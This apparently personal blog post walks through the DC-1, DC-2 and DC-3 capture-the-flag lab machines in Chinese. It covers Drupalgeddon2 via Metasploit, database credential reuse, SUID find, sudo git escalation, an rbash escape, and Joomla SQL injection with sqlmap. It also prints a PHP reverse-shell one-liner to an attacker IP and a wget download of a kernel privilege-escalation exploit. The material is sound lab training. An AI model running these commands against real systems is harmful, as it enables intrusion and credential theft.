2.5 DC靶场之综合渗透

DC-1

flag1

主机发现:arp-scan -l

获取到IP后直接nmap扫描:

1
nmap 192.168.80.155

发现打开了80端口,用浏览器可以打开网页

接下来可以借助nmap扫描系统环境:

1
nmap -O --osscan-guess 192.168.80.155

也可以借助火狐的扩展插件:Wappalyzer,效果相同。

获取了足够的信息我们接下来使用msfconsole进行入侵。

注:因为笔者虚拟机里的MSF突然都寄了(恢复快照也不行)所以接下来部分用安卓终端Kali完成。

使用msf去搜索相关漏洞:

msfconsole

search Drupal

use exploit/unix/webapp/drupal_drupalgeddon2

中设置好目标RHOSTS后输入run

输入shell进入终端,

执行ls,成功获取到flag1的位置

使用cat查看即可。


flag2

默认 drupal 配置文件位置为:

1
/var/www/sites/default/settings.php

读取:

1
cat /var/www/sites/default/settings.php

看到第二个 flag

提示:暴力破解和字典攻击并不是获取访问权限的唯一途径(你需要访问权限),使用这些凭据,你可以做什么?

并且给了我们数据库的用户名和密码:

1
dbuser/R0ck3t


flag3

升级一下终端:

1
python -c "import pty;pty.spawn('/bin/bash')"

使用配置文件给的用户名和密码进mysql:

1
mysql -udbuser -pR0ck3t

show databases;


选择drupaldb:use drupaldb;
查表:show tables;

看到有一个叫做users的表,查具体信息:select * from users;

默认 drupal 的加密脚本位置在:

/var/www/scripts/password-hash.sh

我们可以自己加密生成一个密码 hash 值,然后替换进去,输入:./scripts/password-hash.sh 123456

回到 mysql 去更新 admin 的密码:

1
2
3
mysql -udbuser -pR0ck3t
use drupaldb;
update users set pass='$S$Dyt.gMokZZgE9tWWoSaB440Ydb2iSitXIuJOcWlWwArHw7FufACo'where name="admin";

使用更新后的密码(123456)登录管理后台,在dashboard看到flag3

此处提示为:特殊的 SUID 权限可以帮助你通过 find 命令定位密码文件——但你需要利用该命令的 -exec 参数,才能想办法获取 shadow 文件中的加密内容。


flag4

通过cat /etc/passwd 看到存在flag4用户

并且路径在/home/flag4

进入该目录,读取flag:

提示:使用同样的方法进入 root 目录找到 flag

final-flag

查找具有suid权限的文件:

1
find / -perm -u=s -type f 2>/dev/null

发现有find命令

查看root目录下面有什么文件:find . -exec ls /root \;

find LICENSE.txt -exec ls /root \;

看到thefinalflag.txt

使用cat命令读取:find LICENSE.txt -exec cat /root/thefinalflag.txt \;


拓展

获取root权限的shell:find LICENSE.txt -exec /bin/sh \;

DC-2

flag1

主机发现:arp-scan -l

nmap扫描:

1
nmap -A 192.168.172.131

开放了80端口,cms框架为WordPress 4.7.10。

还可以继续全端口扫描:

1
nmap 192.168.172.131 -p 1-65535

发现还开放了7744端口

对7744端口进行强扫描:

1
nmap 192.168.172.131 -p 7744 -A

发现7744端口运行的是ssh服务

但是直接访问因为对方配置的域名是dc-2(并不是常规域名所以会解析失败),所以接下来要修改hosts文件:

1
2
3
4
打开hosts文件:
vim /etc/hosts
添加:
192.168.172.131 dc-2

再次访问,可以看到web页面,在右下角找到第一个flag

存在提示:

提示:

你平时常用的那些字典可能派不上用场,所以,或许你只需要“酷”一点(暗指使用 CeWL 工具)。

密码自然是多多益善,但有时你也没法一次性把它们全部搞定。

先以其中一个身份登录去查看下一个 flag。如果在那儿没找到,就换另一个身份登录。


flag2

目录扫描,使用kali自带的工具

dirb http://dc-2/

当然如果你对wordpress比较熟悉可以直接访问:http://dc-2/wp-admin/

针对 WordPress 有一个专门的扫描工具:WPScan
wpscan --url http://dc-2/ -e u //枚举用户名字

拿到了三个账户名:

1
2
3
admin
jerry
tom

结合前面提示,使用工具 cewl:

只需要给 CeWL 一个目标 URL,它就会像爬虫一样把网页上的单词全部“抓”下来,生成字典

1
cewl http://dc-2 -w passwd.txt

此外, 新建一个用户名的字典,也就是

1
2
3
admin
jerry
tom

准备好用户名和密码字典后,使用wpscan进行爆破:

1
wpscan --url http://dc-2 -U users.txt -P passwd.txt

查看结果,找到了tom和Jerry的密码


即:

1
2
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

选取其中一条登录后台即可。

Pages中找到了flag2

提示:

“如果你无法通过漏洞利用(Exploit)直接拿下 WordPress 或者走捷径,那么还有另一种方法。”

“希望你已经找到了另一个入口点。”

暗示我们:WordPress 站点应该没什么东西了,要找其他入口


flag3:

尝试 ssh 连接:

1
2
ssh [email protected] -p 7744
ssh [email protected] -p 7744

使用tom时登录成功

ls发现flag3.txt就在这里但是cat读取不了

但是很多命令(如whoamicat)都不能执行,因为是rbash(受限制的终端)

查看可以使用的命令(rbash特性):

1
ls /home/tom/usr/bin

发现可以使用less和vi命令,这两个命令都可以查看文件内容

1
2
3
less flag3.txt
vi flag3.txt

拿到flag3.txt

flag3 提示:

可怜的老汤姆(Tom)总是追着杰瑞(Jerry)跑。也许他应该因为杰瑞给他造成的压力而提起诉讼(su)。

flag4

由flag3提示暗示我们要提权,此处补充基于vi的rbash逃逸:

先后输入回车:

1
2
set shell=/bin/bash
shell

此时发现可以切换目录了。

1
2
3
4
5
cd ..
ls 发现tom和jerry两个目录
cd jerry 
ls 发现flag4.txt就在这里
less flag4.txt 读取

提示:

“很高兴看到你已经走了这么远——但你还没到家呢。”

“你仍然需要拿到最后的 Flag(那是唯一真正算数的 Flag!!!)。”

“这里没有提示——现在你只能靠自己了。:-)”

“继续——快从这儿滚出去(git outta here)!!!!

大概意思就是:你已经完成了所有的中间铺垫,现在只剩最后一关——拿到 Root 权限

final-flag

重点:完全逃逸rbash

执行:

1
BASH_CMDS[a]=/bin/sh;a

虽然还是无法使用cat这些命令,但是可以使用带斜杠的命令了,升级终端,执行:/bin/bash

接下来修复环境变量:

把系统的标准工具库(/bin/usr/bin)重新加入到我的搜索路径中

1
2
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

至此,已经完全逃出 rbash 限制,系统重新找回了执行标准命令的能力。

就可以使用cat命令了,其他命令也恢复正常。

根据上面的提示,我们要使用git进行提权,

1
2
sudo git -p help config
!/bin/sh

直接执行发现tom的权限不够,所以我们调转到jerry用户上:

1
su jerry

重新执行一遍,成功提权到root。

最后进入root目录,ls发现存在最终flag,cat读取拿下。

DC-3

nmap强扫描发现开放80端口,cms框架为Joomla

接下来扫描目录:

1
dirb http://192.168.80.159/

发现了http://192.168.80.159/administrator/,说明存在管理员登录接口

安装针对性工具利用漏洞:

1
apt install joomscan

使用joomscan扫描:

1
joomscan -u http://192.168.80.159/

得到版本号为3.7.0

搜索该框架版本相关的典型漏洞:

1
searchsploit Joomla 3.7.0

Searchsploit 是一个离线的漏洞利用代码(Exploit)搜索引擎

可以看到该版本有一个 SQL 注入,受影响的组件是 com_fields,并且后面的路径(Path)显示为php/webapps/42033.txt,里面写有漏洞触发的具体参数(Payload),查看该文件:

1
searchsploit -x php/webapps/42033.txt

查看到返回的文档中有使用sqlmap的注入方法(可以复制到文本编辑器中方便修改):

1
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

常规sql爆库、表、字段、内容:

1
2
3
4
5
6
7
8
sqlmap -u "http://192.168.80.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
// 看到数据库joomladb
sqlmap -u "http://192.168.80.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch
// 看到表#__users
sqlmap -u "http://192.168.80.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
// 注意表名加双引号防止注释,不加--batch,前两个选yes,后面直接全部回车;看到username和password
sqlmap -u "http://192.168.80.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C username,password --dump -p list[fullordering] --batch
// 看到 admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

成功拿到admin的hash值

接下来使用john工具进行破解:

创建a.txt内容为:admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

在当前目录运行:

1
john a.txt

成功拿到密码snoopy

浏览器登录后台。

发现在Extensions->Templates->Templates 里面可以插入 PHP 代码(其实就是可以编辑页面的源代码)

第一行写个一句话木马,蚁剑连接。

1
http://192.168.80.159/templates/beez3/index.php

(可选) 或者为了方便继续用Kali操作,我们可以反弹shell到Kali:

  1. 提前在Kali上nc监听4444端口
1
nc -lvvp 4444
  1. 将插入的一句话木马换成:
1
2
3
<?php
system("bash -c 'bash -i >& /dev/tcp/Kali的IP/4444 0>&1'");
?>
  1. 浏览器访问http://192.168.80.159/templates/beez3/index.php,触发反弹


whoami发现目前还不是root权限。

收集下主机的版本信息:

1
2
3
4
5
6
7
8
# 查看内核版本
uname -a

# 查看发行版详细信息
lsb_release -a

# 查看系统版本文件
cat /etc/issue

至此,信息搜集完毕,exit退出webshell

查找相关漏洞:searchsploit Ubuntu 16.04 4.4.0-21

内容大多是针对64位系统的,所以放宽条件查找:searchsploit Ubuntu 16.04

初步判断39772对应的 double-fdput() 漏洞利用包是最适合这个 4.4.0-21 内核的,该脚本极为稳定且不挑架构,适配 32 位架构。

查看该文件:

1
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

给了 exp 的具体GitHub项目地址:

回到webshell,方法同上。

为了防止一些目录没有写入权限,我们先切换目录:

1
cd /var/www/html

wget将工具下载到目标:

1
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

解压:

1
2
3
4
5
6
7
unzip 39772.zip

cd 39772

tar -xvf exploit.tar

cd ebpf_mapfd_doubleput_exploit

编译:

1
./compile.sh

运行:

1
./doubleput

稍等一会,拿到了root权限。

切换到root目录,可以正常读取flag文件

1
2
3
cd ../../../../../
ls
cat the-flag.txt

Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS